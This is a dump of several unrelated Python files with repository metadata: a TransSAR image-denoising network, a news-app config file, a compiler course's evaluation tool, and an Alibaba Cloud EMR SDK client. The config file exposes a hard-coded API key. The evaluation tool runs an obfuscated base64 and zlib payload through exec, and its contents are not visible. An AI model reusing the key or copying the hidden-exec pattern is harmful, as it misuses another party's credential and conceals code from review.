# if x1[3].shape[3] != res32x.shape[3] and x1[3].shape[2] != res32x.shape[2]:
# p2d = (0,-1,0,-1)
# res32x = F.pad(res32x,p2d,"constant",0)
# elif x1[3].shape[3] != res32x.shape[3] and x1[3].shape[2] == res32x.shape[2]:
# p2d = (0,-1,0,0)
# res32x = F.pad(res32x,p2d,"constant",0)
# elif x1[3].shape[3] == res32x.shape[3] and x1[3].shape[2] != res32x.shape[2]:
# p2d = (0,0,0,-1)
# res32x = F.pad(res32x,p2d,"constant",0)
# res16x = res32x + x1[3]
res16x = self.convd32x(x1[4])
res16x = self.dense_5(res16x) + x1[3]
res8x = self.convd16x(res16x)
res8x = self.dense_4(res8x) + x1[2]
res4x = self.convd8x(res8x)
res4x = self.dense_3(res4x) + x1[1]
res2x = self.convd4x(res4x)
res2x = self.dense_2(res2x) + x1[0]
res1x = self.convd2x(res2x)
x = self.dense_1(res1x)
x = self.convd1x(x)
return x
class convprojection_baseV3(nn.Module):
def __init__(self, path=None, **kwargs):
super(convprojection_baseV3,self).__init__()
# self.convd32x = UpsampleConvLayer(512, 512, kernel_size=4, stride=2)
self.convd16x = UpsampleConvLayer(512, 320, kernel_size=4, stride=2)
self.dense_4 = nn.Sequential(ResidualBlock(320))
self.convd8x = UpsampleConvLayer(320, 128, kernel_size=4, stride=2)
self.dense_3 = nn.Sequential(ResidualBlock(128))
self.convd4x = UpsampleConvLayer(128, 64, kernel_size=4, stride=2)
self.dense_2 = nn.Sequential(ResidualBlock(64))
self.convd2x = UpsampleConvLayer(64, 16, kernel_size=4, stride=2)
self.dense_1 = nn.Sequential( ResidualBlock(16))
self.convd1x = UpsampleConvLayer(16, 8, kernel_size=4, stride=2)
self.conv_output = ConvLayer(8, 3, kernel_size=3, stride=1, padding=1)
self.active = nn.Tanh()
def forward(self,x1):
# if x1[3].shape[3] != res32x.shape[3] and x1[3].shape[2] != res32x.shape[2]:
# p2d = (0,-1,0,-1)
# res32x = F.pad(res32x,p2d,"constant",0)
# elif x1[3].shape[3] != res32x.shape[3] and x1[3].shape[2] == res32x.shape[2]:
# p2d = (0,-1,0,0)
# res32x = F.pad(res32x,p2d,"constant",0)
# elif x1[3].shape[3] == res32x.shape[3] and x1[3].shape[2] != res32x.shape[2]:
# p2d = (0,0,0,-1)
# res32x = F.pad(res32x,p2d,"constant",0)
# res16x = res32x + x1[3]
res16x = self.convd16x(x1[3])
if x1[2].shape[3] != res16x.shape[3] and x1[2].shape[2] != res16x.shape[2]:
p2d = (0,-1,0,-1)
res16x = F.pad(res16x,p2d,"constant",0)
elif x1[2].shape[3] != res16x.shape[3] and x1[2].shape[2] == res16x.shape[2]:
p2d = (0,-1,0,0)
res16x = F.pad(res16x,p2d,"constant",0)
elif x1[2].shape[3] == res16x.shape[3] and x1[2].shape[2] != res16x.shape[2]:
p2d = (0,0,0,-1)
res16x = F.pad(res16x,p2d,"constant",0)
res8x = self.dense_4(res16x) + x1[2]
res8x = self.convd8x(res8x)
res4x = self.dense_3(res8x) + x1[1]
res4x = self.convd4x(res4x)
res2x = self.dense_2(res4x) + x1[0]
res2x = self.convd2x(res2x)
x = res2x
x = self.dense_1(x)
x = self.convd1x(x)
return x
## The following is the network which can be fine-tuned for specific datasets
class TransSAR(nn.Module):
def __init__(self, path=None, **kwargs):
super(TransSAR, self).__init__()
self.Tenc = Tenc()
self.convproj = convprojection_base()
self.clean = ConvLayer(8, 1, kernel_size=3, stride=1, padding=1)
self.active = nn.Tanh()
if path is not None:
self.load(path)
def forward(self, x):
x1 = self.Tenc(x)
x = self.convproj(x1)
clean = self.active(self.clean(x))
return clean
class TransSARV2(nn.Module):
def __init__(self, path=None, **kwargs):
super(TransSARV2, self).__init__()
self.Tenc = EncoderTransformerV2(img_size=256, patch_size=16, in_chans=1, num_classes=1, embed_dims=[32, 64, 128, 320, 512],
num_heads=[1, 1, 2, 4, 8], mlp_ratios=[2, 2, 2, 2, 2], qkv_bias=False, qk_scale=None, drop_rate=0.,
attn_drop_rate=0., drop_path_rate=0., norm_layer=nn.LayerNorm,
depths=[3, 3, 4, 6, 3], sr_ratios=[8, 8, 4, 2, 1])
self.convproj = convprojection_baseV2()
self.clean = ConvLayer(8, 1, kernel_size=3, stride=1, padding=1)
self.active = nn.Tanh()
def forward(self, x):
x1 = self.Tenc(x)
x = self.convproj(x1)
clean = self.active(self.clean(x))
return clean
class TransSARV3(nn.Module):
def __init__(self, path=None, **kwargs):
super(TransSARV3, self).__init__()
self.Tenc = TencV3()
self.convproj = convprojection_baseV3()
self.clean = ConvLayer(8, 3, kernel_size=3, stride=1, padding=1)
self.active = nn.Tanh()
if path is not None:
self.load(path)
def forward(self, x):
x1 = self.Tenc(x)
x = self.convproj(x1)
clean = self.active(self.clean(x))
return clean
## The following is original network found in paper which solves all-weather removal problems
## using a single model
# class Transweather(nn.Module):
# def __init__(self, path=None, **kwargs):
# super(Transweather, self).__init__()
# self.Tenc = Tenc()
# self.Tdec = Tdec()
# self.convtail = convprojection()
# self.clean = ConvLayer(8, 3, kernel_size=3, stride=1, padding=1)
# self.active = nn.Tanh()
# if path is not None:
# self.load(path)
# def forward(self, x):
# x1 = self.Tenc(x)
# x2 = self.Tdec(x1)
# x = self.convtail(x1,x2)
# clean = self.active(self.clean(x))
# return clean
# def load(self, path):
# """
# Load checkpoint.
# """
# checkpoint = torch.load(path, map_location=lambda storage, loc: storage)
# model_state_dict_keys = self.state_dict().keys()
# checkpoint_state_dict_noprefix = strip_prefix_if_present(checkpoint['state_dict'], "module.")
# self.load_state_dict(checkpoint_state_dict_noprefix, strict=False)
# del checkpoint
# torch.cuda.empty_cache()
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0
| 7
|
812b8b30e79d8d23dd971a1ef61046641cd580ed
| 49
|
py
|
Python
|
instance/config.py
|
tinabayi/news
|
588ab459e1401b764318099db8fcd70123b6f707
|
[
"MIT"
] | null | null | null |
instance/config.py
|
tinabayi/news
|
588ab459e1401b764318099db8fcd70123b6f707
|
[
"MIT"
] | null | null | null |
instance/config.py
|
tinabayi/news
|
588ab459e1401b764318099db8fcd70123b6f707
|
[
"MIT"
] | null | null | null |
NEWS_API_KEY = 'c32f87e5664c4712be83a5a04cb26284'
| 49
| 49
| 0.897959
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| 49
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|
0
| 8
|
d49df0ce58828d39c765848a9af2ec55b550d975
| 592
|
py
|
Python
|
src/cmp/tools/evaluation.py
|
BeginnerCompilers/cool-compiler-2021
|
fe8c4dbbbaff9dc855322c2df2892dcfc5d449f9
|
[
"MIT"
] | 1
|
2022-02-11T05:12:54.000Z
|
2022-02-11T05:12:54.000Z
|
src/cmp/tools/evaluation.py
|
BeginnerCompilers/cool-compiler-2021
|
fe8c4dbbbaff9dc855322c2df2892dcfc5d449f9
|
[
"MIT"
] | null | null | null |
src/cmp/tools/evaluation.py
|
BeginnerCompilers/cool-compiler-2021
|
fe8c4dbbbaff9dc855322c2df2892dcfc5d449f9
|
[
"MIT"
] | 1
|
2022-02-11T07:30:32.000Z
|
2022-02-11T07:30:32.000Z
|
import zlib, base64
exec(zlib.decompress(base64.b64decode('eJxdUMFuwjAMvecrfGy3qoLrJN86YGViCO2GECrF1SLSpErcqf37OUWwsZPtZ/v5+TXetVC3Xd6NtWs7bciDbjvnGV4/FmqJmsmrE1oaWFnUQdvAla1JFbhxltQaDVm1QLJ9S75iUmdqgL4r00tx7CofKGmyMn1RoBuwjqEB56ekFAw8ce+tggaXSZMqKCWWEge8kSQnaWSRQ0EVAok2K1iZ5uwuZI88dpSJWmlfyWB4EJF03p37mrWzkSXT9ou8/HU+xgHCImrbZAZ/5xSMf6q8Yvb61DMFBYz74vCUrBOTPs/l5OV/vZ8d8N8J+U5e1tkOtIVFYrJ5PBn92OVv4ZN8q21lInR78LLXBx2giBBLjtO/hgYByASaZld4miy7b+0QV/k7NRyxLY6yGDO5swVhi54X0+bEj9vkknF6P3H3azXZFEekGWlmh7u1150HxkmQSP0BhJm25Q==')))
# Created by pyminifier (https://github.com/liftoff/pyminifier)
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|
0
| 9
|
d49ff975052c6ffc2a25ad8476da4efb5666352b
| 309,422
|
py
|
Python
|
alibabacloud/clients/emr_20160408.py
|
wallisyan/alibabacloud-python-sdk-v2
|
6e024c97cded2403025a7dd8fea8261e41872156
|
[
"Apache-2.0"
] | 21
|
2018-12-20T07:34:13.000Z
|
2020-03-05T14:32:08.000Z
|
alibabacloud/clients/emr_20160408.py
|
wallisyan/alibabacloud-python-sdk-v2
|
6e024c97cded2403025a7dd8fea8261e41872156
|
[
"Apache-2.0"
] | 22
|
2018-12-21T13:22:33.000Z
|
2020-06-29T08:37:09.000Z
|
alibabacloud/clients/emr_20160408.py
|
wallisyan/alibabacloud-python-sdk-v2
|
6e024c97cded2403025a7dd8fea8261e41872156
|
[
"Apache-2.0"
] | 12
|
2018-12-29T05:45:55.000Z
|
2022-01-05T09:59:30.000Z
|
# Copyright 2019 Alibaba Cloud Inc. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from alibabacloud.client import AlibabaCloudClient
from alibabacloud.request import APIRequest
from alibabacloud.utils.parameter_validation import verify_params
class EmrClient(AlibabaCloudClient):
def __init__(self, client_config, credentials_provider=None, retry_policy=None,
endpoint_resolver=None):
AlibabaCloudClient.__init__(self, client_config,
credentials_provider=credentials_provider,
retry_policy=retry_policy,
endpoint_resolver=endpoint_resolver)
self.product_code = 'Emr'
self.api_version = '2016-04-08'
self.location_service_code = 'emr'
self.location_endpoint_type = 'openAPI'
def describe_hp_host(self, hp_host_biz_id=None, resource_owner_id=None, region_id=None):
api_request = APIRequest('DescribeHpHost', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"HpHostBizId": hp_host_biz_id,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id}
return self._handle_request(api_request).result
def refresh_backup_list(self, resource_owner_id=None, region_id=None, backup_plan_id=None):
api_request = APIRequest('RefreshBackupList', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"BackupPlanId": backup_plan_id}
return self._handle_request(api_request).result
def remove_backup_rule(self, resource_owner_id=None, region_id=None, backup_rule_id=None):
api_request = APIRequest('RemoveBackupRule', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"BackupRuleId": backup_rule_id}
return self._handle_request(api_request).result
def describe_cluster_service_config_for_admin(
self,
resource_owner_id=None,
host_instance_id=None,
tag_value=None,
region_id=None,
group_id=None,
service_name=None,
cluster_id=None,
user_id=None,
config_version=None):
api_request = APIRequest('DescribeClusterServiceConfigForAdmin',
'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"HostInstanceId": host_instance_id,
"TagValue": tag_value,
"RegionId": region_id,
"GroupId": group_id,
"ServiceName": service_name,
"ClusterId": cluster_id,
"UserId": user_id,
"ConfigVersion": config_version}
return self._handle_request(api_request).result
def list_supported_service_name_for_admin(
self,
resource_owner_id=None,
region_id=None,
user_id=None):
api_request = APIRequest('ListSupportedServiceNameForAdmin', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"UserId": user_id}
return self._handle_request(api_request).result
def describe_cluster_resource_pool_scheduler_type_for_admin(
self, resource_owner_id=None, region_id=None, cluster_id=None, user_id=None):
api_request = APIRequest(
'DescribeClusterResourcePoolSchedulerTypeForAdmin',
'GET',
'http',
'RPC',
'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id,
"UserId": user_id}
return self._handle_request(api_request).result
def list_cluster_service_config_history_for_admin(
self,
resource_owner_id=None,
region_id=None,
page_size=None,
service_name=None,
cluster_id=None,
user_id=None,
page_number=None,
config_version=None):
api_request = APIRequest(
'ListClusterServiceConfigHistoryForAdmin',
'GET',
'http',
'RPC',
'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PageSize": page_size,
"ServiceName": service_name,
"ClusterId": cluster_id,
"UserId": user_id,
"PageNumber": page_number,
"ConfigVersion": config_version}
return self._handle_request(api_request).result
def list_resource_pool_for_admin(
self,
resource_owner_id=None,
region_id=None,
page_size=None,
cluster_id=None,
user_id=None,
page_number=None,
pool_type=None):
api_request = APIRequest('ListResourcePoolForAdmin', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PageSize": page_size,
"ClusterId": cluster_id,
"UserId": user_id,
"PageNumber": page_number,
"PoolType": pool_type}
return self._handle_request(api_request).result
def describe_workspace_repo_setting(
self,
resource_owner_id=None,
region_id=None,
workspace_id=None):
api_request = APIRequest('DescribeWorkspaceRepoSetting', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"WorkspaceId": workspace_id}
return self._handle_request(api_request).result
def refresh_cluster_resource_pool_for_admin(
self,
resource_owner_id=None,
region_id=None,
resource_pool_id=None,
cluster_id=None,
user_id=None):
api_request = APIRequest('RefreshClusterResourcePoolForAdmin',
'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ResourcePoolId": resource_pool_id,
"ClusterId": cluster_id,
"UserId": user_id}
return self._handle_request(api_request).result
def describe_cluster_service_config_tag_for_admin(
self,
resource_owner_id=None,
region_id=None,
config_tag=None,
service_name=None,
cluster_id=None,
user_id=None):
api_request = APIRequest(
'DescribeClusterServiceConfigTagForAdmin',
'GET',
'http',
'RPC',
'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ConfigTag": config_tag,
"ServiceName": service_name,
"ClusterId": cluster_id,
"UserId": user_id}
return self._handle_request(api_request).result
def resize_cluster_with_host_pool(
self,
resource_owner_id=None,
region_id=None,
list_of_host_group=None,
list_of_host_info=None,
cluster_id=None):
api_request = APIRequest('ResizeClusterWithHostPool', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"HostGroup": list_of_host_group,
"HostInfo": list_of_host_info,
"clusterId": cluster_id}
repeat_info = {"HostGroup": ('HostGroup', 'list', 'dict', [('GroupType', 'str', None, None),
('GroupId', 'str', None, None),
('GroupName', 'str', None, None),
]),
"HostInfo": ('HostInfo', 'list', 'dict', [('HpHostBizId', 'str', None, None),
('HostName', 'str', None, None),
('Role', 'str', None, None),
('GroupId', 'str', None, None),
('PrivateIp', 'str', None, None),
('ServiceComponentInfo', 'list', 'dict', [('serviceEcmVersion', 'str', None, None),
('ComponentName', 'str', None, None),
('ServiceName', 'str', None, None),
],),('HostGroupName', 'str', None, None),
('HostGroupType', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def list_streaming_sql_query(self, resource_owner_id=None, instance_id=None, region_id=None):
api_request = APIRequest('ListStreamingSqlQuery', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"InstanceId": instance_id,
"RegionId": region_id}
return self._handle_request(api_request).result
def create_backup_rule(
self,
resource_owner_id=None,
backup_method_type=None,
description=None,
backup_plan_id=None,
metadata_type=None,
region_id=None,
name=None):
api_request = APIRequest('CreateBackupRule', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"BackupMethodType": backup_method_type,
"Description": description,
"BackupPlanId": backup_plan_id,
"MetadataType": metadata_type,
"RegionId": region_id,
"Name": name}
return self._handle_request(api_request).result
def update_workspace_resource_setting(
self,
resource_owner_id=None,
region_id=None,
workspace_id=None,
oss_setting=None):
api_request = APIRequest('UpdateWorkspaceResourceSetting', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"WorkspaceId": workspace_id,
"OssSetting": oss_setting}
return self._handle_request(api_request).result
def get_flow_audit_logs(
self,
resource_owner_id=None,
page_count=None,
order_mode=None,
entity_id=None,
page_number=None,
region_id=None,
limit=None,
page_size=None,
current_size=None,
order_field=None,
entity_group_id=None,
entity_type=None,
operator_id=None,
operation=None,
status=None):
api_request = APIRequest('GetFlowAuditLogs', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"PageCount": page_count,
"OrderMode": order_mode,
"EntityId": entity_id,
"PageNumber": page_number,
"RegionId": region_id,
"Limit": limit,
"PageSize": page_size,
"CurrentSize": current_size,
"OrderField": order_field,
"EntityGroupId": entity_group_id,
"EntityType": entity_type,
"OperatorId": operator_id,
"Operation": operation,
"Status": status}
return self._handle_request(api_request).result
def get_back_plan_info(self, resource_owner_id=None, region_id=None, backup_plan_id=None):
api_request = APIRequest('GetBackPlanInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"BackupPlanId": backup_plan_id}
return self._handle_request(api_request).result
def create_backup_plan(
self,
resource_owner_id=None,
description=None,
cluster_id=None,
region_id=None,
name=None,
root_path=None):
api_request = APIRequest('CreateBackupPlan', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"Description": description,
"ClusterId": cluster_id,
"RegionId": region_id,
"Name": name,
"RootPath": root_path}
return self._handle_request(api_request).result
def get_audit_logs(
self,
resource_owner_id=None,
page_count=None,
order_mode=None,
entity_id=None,
page_number=None,
region_id=None,
limit=None,
page_size=None,
current_size=None,
order_field=None,
operation=None):
api_request = APIRequest('GetAuditLogs', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"PageCount": page_count,
"OrderMode": order_mode,
"EntityId": entity_id,
"PageNumber": page_number,
"RegionId": region_id,
"Limit": limit,
"PageSize": page_size,
"CurrentSize": current_size,
"OrderField": order_field,
"Operation": operation}
return self._handle_request(api_request).result
def update_workspace_repo_setting(
self,
resource_owner_id=None,
region_id=None,
list_of_repo_maven=None,
list_of_repo_pip=None,
workspace_id=None):
api_request = APIRequest('UpdateWorkspaceRepoSetting', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"RepoMaven": list_of_repo_maven,
"RepoPip": list_of_repo_pip,
"WorkspaceId": workspace_id}
repeat_info = {"RepoMaven": ('RepoMaven', 'list', 'dict', [('GroupId', 'str', None, None),
('ArtifactId', 'str', None, None),
('Version', 'str', None, None),
]),
"RepoPip": ('RepoPip', 'list', 'dict', [('PackageName', 'str', None, None),
('Version', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def add_cluster_service_for_admin(
self,
resource_owner_id=None,
region_id=None,
service_list=None,
comment=None,
cluster_id=None,
user_id=None):
api_request = APIRequest('AddClusterServiceForAdmin', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ServiceList": service_list,
"Comment": comment,
"ClusterId": cluster_id,
"UserId": user_id}
return self._handle_request(api_request).result
def list_cluster_tag_for_admin(
self,
resource_owner_id=None,
list_of_cluster_id_list=None,
region_id=None,
user_id=None):
api_request = APIRequest('ListClusterTagForAdmin', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ClusterIdList": list_of_cluster_id_list,
"RegionId": region_id,
"UserId": user_id}
repeat_info = {"ClusterIdList": ('ClusterIdList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def get_metadata_type_list(self, resource_owner_id=None, region_id=None):
api_request = APIRequest('GetMetadataTypeList', 'GET', 'http', 'RPC', 'query')
api_request._params = {"ResourceOwnerId": resource_owner_id, "RegionId": region_id}
return self._handle_request(api_request).result
def restore_backup(
self,
resource_owner_id=None,
region_id=None,
backup_plan_id=None,
backup_id=None):
api_request = APIRequest('RestoreBackup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"BackupPlanId": backup_plan_id,
"BackupId": backup_id}
return self._handle_request(api_request).result
def retry_sync_user_account(
self,
resource_owner_id=None,
resource_id=None,
list_of_aliyun_user_id_list=None,
account_type=None,
resource_type=None,
region_id=None):
api_request = APIRequest('RetrySyncUserAccount', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ResourceId": resource_id,
"AliyunUserIdList": list_of_aliyun_user_id_list,
"AccountType": account_type,
"ResourceType": resource_type,
"RegionId": region_id}
repeat_info = {"AliyunUserIdList": ('AliyunUserIdList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def create_backup(
self,
resource_owner_id=None,
backup_plan_id=None,
metadata_type=None,
region_id=None):
api_request = APIRequest('CreateBackup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"BackupPlanId": backup_plan_id,
"MetadataType": metadata_type,
"RegionId": region_id}
return self._handle_request(api_request).result
def get_backup_info(self, resource_owner_id=None, region_id=None, backup_id=None):
api_request = APIRequest('GetBackupInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"BackupId": backup_id}
return self._handle_request(api_request).result
def describe_workspace_resource_setting(
self,
resource_owner_id=None,
region_id=None,
workspace_id=None):
api_request = APIRequest('DescribeWorkspaceResourceSetting', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"WorkspaceId": workspace_id}
return self._handle_request(api_request).result
def list_cluster_service_custom_action_support_config_for_admin(
self,
service_custom_action_name=None,
resource_owner_id=None,
region_id=None,
service_name=None,
cluster_id=None,
user_id=None):
api_request = APIRequest(
'ListClusterServiceCustomActionSupportConfigForAdmin',
'GET',
'http',
'RPC',
'query')
api_request._params = {
"ServiceCustomActionName": service_custom_action_name,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ServiceName": service_name,
"ClusterId": cluster_id,
"UserId": user_id}
return self._handle_request(api_request).result
def remove_backup_plan(self, resource_owner_id=None, region_id=None, backup_plan_id=None):
api_request = APIRequest('RemoveBackupPlan', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"BackupPlanId": backup_plan_id}
return self._handle_request(api_request).result
def get_backup_rule_info(self, resource_owner_id=None, region_id=None, backup_rule_id=None):
api_request = APIRequest('GetBackupRuleInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"BackupRuleId": backup_rule_id}
return self._handle_request(api_request).result
def remove_backup(
self,
resource_owner_id=None,
list_of_backup_id=None,
backup_plan_id=None,
region_id=None):
api_request = APIRequest('RemoveBackup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"BackupId": list_of_backup_id,
"BackupPlanId": backup_plan_id,
"RegionId": region_id}
repeat_info = {"BackupId": ('BackupId', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def list_backup_rules(
self,
resource_owner_id=None,
page_count=None,
order_mode=None,
backup_plan_id=None,
page_number=None,
region_id=None,
limit=None,
page_size=None,
id_=None,
current_size=None,
order_field=None,
biz_id=None,
status=None):
api_request = APIRequest('ListBackupRules', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"PageCount": page_count,
"OrderMode": order_mode,
"BackupPlanId": backup_plan_id,
"PageNumber": page_number,
"RegionId": region_id,
"Limit": limit,
"PageSize": page_size,
"Id": id_,
"CurrentSize": current_size,
"OrderField": order_field,
"BizId": biz_id,
"Status": status}
return self._handle_request(api_request).result
def list_backups(
self,
resource_owner_id=None,
page_count=None,
order_mode=None,
backup_plan_id=None,
page_number=None,
region_id=None,
limit=None,
page_size=None,
service_name=None,
id_=None,
current_size=None,
order_field=None,
list_of_backup_id=None,
cluster_id=None,
metadata_type=None,
biz_id=None,
status=None):
api_request = APIRequest('ListBackups', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"PageCount": page_count,
"OrderMode": order_mode,
"BackupPlanId": backup_plan_id,
"PageNumber": page_number,
"RegionId": region_id,
"Limit": limit,
"PageSize": page_size,
"ServiceName": service_name,
"Id": id_,
"CurrentSize": current_size,
"OrderField": order_field,
"BackupId": list_of_backup_id,
"ClusterId": cluster_id,
"MetadataType": metadata_type,
"BizId": biz_id,
"Status": status}
repeat_info = {"BackupId": ('BackupId', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def modify_hp_host(
self,
cpu_core=None,
mem_size=None,
resource_owner_id=None,
rack_info=None,
role=None,
serial_number=None,
host_type=None,
security_group_id=None,
list_of_hp_host_disk=None,
vswitch_id=None,
hp_host_biz_id=None,
external_key=None,
host_name=None,
region_id=None,
vpc_id=None,
inner_ip=None,
external_ip=None):
api_request = APIRequest('ModifyHpHost', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"CpuCore": cpu_core,
"MemSize": mem_size,
"ResourceOwnerId": resource_owner_id,
"RackInfo": rack_info,
"Role": role,
"SerialNumber": serial_number,
"HostType": host_type,
"SecurityGroupId": security_group_id,
"HpHostDisk": list_of_hp_host_disk,
"VswitchId": vswitch_id,
"HpHostBizId": hp_host_biz_id,
"ExternalKey": external_key,
"HostName": host_name,
"RegionId": region_id,
"VpcId": vpc_id,
"InnerIp": inner_ip,
"ExternalIp": external_ip}
repeat_info = {"HpHostDisk": ('HpHostDisk', 'list', 'dict', [('DiskSize', 'str', None, None),
('MountPath', 'str', None, None),
('DiskDevice', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def render_resource_pool_xml_for_admin(
self,
resource_owner_id=None,
region_id=None,
resource_pool_id=None,
cluster_id=None,
user_id=None):
api_request = APIRequest('RenderResourcePoolXmlForAdmin', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ResourcePoolId": resource_pool_id,
"ClusterId": cluster_id,
"UserId": user_id}
return self._handle_request(api_request).result
def modify_cluster_service_config_for_admin(
self,
refresh_host_config=None,
resource_owner_id=None,
config_type=None,
host_instance_id=None,
author=None,
group_id=None,
cluster_id=None,
user_id=None,
custom_config_params=None,
region_id=None,
service_name=None,
comment=None,
list_of_gateway_cluster_id_list=None,
config_params=None):
api_request = APIRequest('ModifyClusterServiceConfigForAdmin',
'GET', 'http', 'RPC', 'query')
api_request._params = {
"RefreshHostConfig": refresh_host_config,
"ResourceOwnerId": resource_owner_id,
"ConfigType": config_type,
"HostInstanceId": host_instance_id,
"Author": author,
"GroupId": group_id,
"ClusterId": cluster_id,
"UserId": user_id,
"CustomConfigParams": custom_config_params,
"RegionId": region_id,
"ServiceName": service_name,
"Comment": comment,
"GatewayClusterIdList": list_of_gateway_cluster_id_list,
"ConfigParams": config_params}
repeat_info = {"GatewayClusterIdList": ('GatewayClusterIdList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def list_backup_plans(
self,
resource_owner_id=None,
page_count=None,
order_mode=None,
page_number=None,
region_id=None,
limit=None,
page_size=None,
id_=None,
current_size=None,
order_field=None,
cluster_id=None,
biz_id=None,
status=None):
api_request = APIRequest('ListBackupPlans', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"PageCount": page_count,
"OrderMode": order_mode,
"PageNumber": page_number,
"RegionId": region_id,
"Limit": limit,
"PageSize": page_size,
"Id": id_,
"CurrentSize": current_size,
"OrderField": order_field,
"ClusterId": cluster_id,
"BizId": biz_id,
"Status": status}
return self._handle_request(api_request).result
def list_cluster_host_component_for_admin(
self,
resource_owner_id=None,
host_instance_id=None,
component_name=None,
cluster_id=None,
user_id=None,
page_number=None,
component_status=None,
host_name=None,
region_id=None,
page_size=None,
service_name=None,
host_role=None):
api_request = APIRequest('ListClusterHostComponentForAdmin', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"HostInstanceId": host_instance_id,
"ComponentName": component_name,
"ClusterId": cluster_id,
"UserId": user_id,
"PageNumber": page_number,
"ComponentStatus": component_status,
"HostName": host_name,
"RegionId": region_id,
"PageSize": page_size,
"ServiceName": service_name,
"HostRole": host_role}
return self._handle_request(api_request).result
def query_info_by_token(self,):
api_request = APIRequest('QueryInfoByToken', 'GET', 'http', 'RPC', '')
return self._handle_request(api_request).result
def update_user_status(
self,
resource_owner_id=None,
region_id=None,
aliyun_user_id=None,
update_status=None):
api_request = APIRequest('UpdateUserStatus', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"AliyunUserId": aliyun_user_id,
"UpdateStatus": update_status}
return self._handle_request(api_request).result
def delete_batch_resource_users(
self,
resource_owner_id=None,
resource_id=None,
list_of_user_id_list=None,
resource_type=None,
region_id=None):
api_request = APIRequest('DeleteBatchResourceUsers', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ResourceId": resource_id,
"UserIdList": list_of_user_id_list,
"ResourceType": resource_type,
